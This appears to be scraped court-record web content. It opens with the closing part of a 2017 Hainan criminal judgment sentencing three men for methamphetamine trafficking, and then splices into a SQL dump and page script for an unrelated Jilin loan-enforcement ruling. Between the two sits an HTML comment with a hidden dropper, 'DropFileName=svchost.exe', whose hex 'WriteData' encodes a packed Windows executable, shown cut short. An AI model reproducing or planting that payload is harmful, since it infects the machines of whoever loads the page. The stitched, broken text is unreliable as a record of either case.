为严明国法，依法惩治严重刑事犯罪，维护社会治安秩序，打击毒品犯罪行为，根据被告人黎帅、王绍、蔡强的犯罪事实、性质、情节和对社会的危害程度，依照《中华人民共和国刑法》第三百四十七条第二款第（一）项、第七款、第四十八条第一款、第五十五条第一款、第五十六条第一款、第五十九条第一款、第六十四条、第六十一条、第二十五条第一款、第二十六条第一款、第二十七条、第六十二条、第六十五条第一款、第六十七条第三款之规定，判决如下：
（一）被告人黎帅犯贩卖、运输毒品罪，判处有期徒刑十五年，剥夺政治权利五年，并处没收个人财产五万元。
（刑期从判决执行之日起计算。判决执行以前先行羁押的，羁押一日折抵刑期一日，即自2016年12月14日起至2031年12月13日止。）
（二）被告人王绍犯贩卖、运输毒品罪，判处有期徒刑十五年，剥夺政治权利五年，并处没收个人财产五万元。
（刑期从判决执行之日起计算。判决执行以前先行羁押的，羁押一日折抵刑期一日，即自2016年12月14日起至2031年12月13日止。）
（三）被告人蔡强犯贩卖、运输毒品罪，判处有期徒刑十五年，剥夺政治权利五年，并处没收个人财产五万元。
（刑期从判决执行之日起计算。判决执行以前先行羁押的，羁押一日折抵刑期一日。）
（四）没收扣押的甲基苯丙胺374.58克；没收被告人黎帅的1部华为白色手机，被告人蔡强的1部苹果手机和1部三星手机。对毒资四万元继续予以追缴。未随案移送的毒品由扣押机关执行。
如不服本判决，可在接到判决书的第二日起十日内，通过本院或者直接向海南省高级人民法院提出上诉。书面上诉的应提交上诉状正本一份，副本二份。
审判长李力
审判员何艳
审判员付春燕
二〇一七年十一月六日
书记员杨超群
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF2','2018-09-27
12:37:23',0,'web',NULL),(25099779,'6d8f83a7-f7ca-4de2-854c-a8f900b3526d','$(function(){$(\"#con_llcs\").html(\"浏览：85次\")});$(function(){var
caseinfo=JSON.stringify({\"法院ID\":\"638\",\"案件基本情况段原文\":\"\",\"附加原文\":\"\",\"审判程序\":\"\",\"案号\":\"（2018）吉0781执异46号\",\"不公开理由\":\"\",\"法院地市\":\"松原市\",\"法院省份\":\"吉林\",\"文本首部段落原文\":\"\",\"法院区域\":\"\",\"文书ID\":\"6d8f83a7-f7ca-4de2-854c-a8f900b3526d\",\"案件名称\":\"吴洪威对王兰芳民间借贷纠纷执行一案执行异议执行裁定书\",\"法院名称\":\"扶余市人民法院\",\"裁判要旨段原文\":\"\",\"法院区县\":\"扶余市\",\"补正文书\":\"2\",\"DocContent\":\"\",\"文书全文类型\":\"1\",\"诉讼记录段原文\":\"本院在被执行人吴洪威对王兰芳民间借贷纠纷一案中,本院作出（2017）吉0781民初2504号民事判决书，判决被告吴洪威于本判决生效后五日内给付原告王兰芳借款本金200000元，并自2014年12月31日起按中国人民银行同期同类贷款利率给付利息（利息金额不超过5399.54元）。异议人对执行通知书（2018）吉0781执711号提出异议，该院执行通知书认定事实不清，侵害本人的利益。
案件受理后，依法组成合议庭，现已审查完毕\",\"判决结果段原文\":\"\",\"文本尾部原文\":\"\",\"上传日期\":\"\\\/Date(1528387200000)\\\/\",\"案件类型\":\"5\",\"诉讼参与人信息部分原文\":\"\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null});$(document).attr(\"title\",\"吴洪威对王兰芳民间借贷纠纷执行一案执行异议执行裁定书\");$(\"#tdSource\").html(\"吴洪威对王兰芳民间借贷纠纷执行一案执行异议执行裁定书
（2018）吉0781执异46号\");$(\"#hidDocID\").val(\"6d8f83a7-f7ca-4de2-854c-a8f900b3526d\");$(\"#hidCaseName\").val(\"吴洪威对王兰芳民间借贷纠纷执行一案执行异议执行裁定书\");$(\"#hidCaseNumber\").val(\"（2018）吉0781执异46号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"扶余市人民法院\");$(\"#hidCaseType\").val(\"5\");$(\"#HidCourtID\").val(\"638\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"扶余市人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"执行案件\" },{ name: \"案由\", key: \"reason\", value: \"\"
},{ name: \"裁判日期\", key: \"trialDate\", value: \"2018-05-08\" },{ name:
\"当事人\", key: \"appellor\", value: \"吴洪威,王兰芳\" }],LegalBase: []};if
($(\"#divTool_Summary\").length > 0) {$(\"#divTool_Summary\").ContentSummary({
data: dirData });}});$(function() {\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"吴洪威对王兰芳民间借贷纠纷执行一案执行异议执行裁定书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2018-06-08\\\\\",\\\\\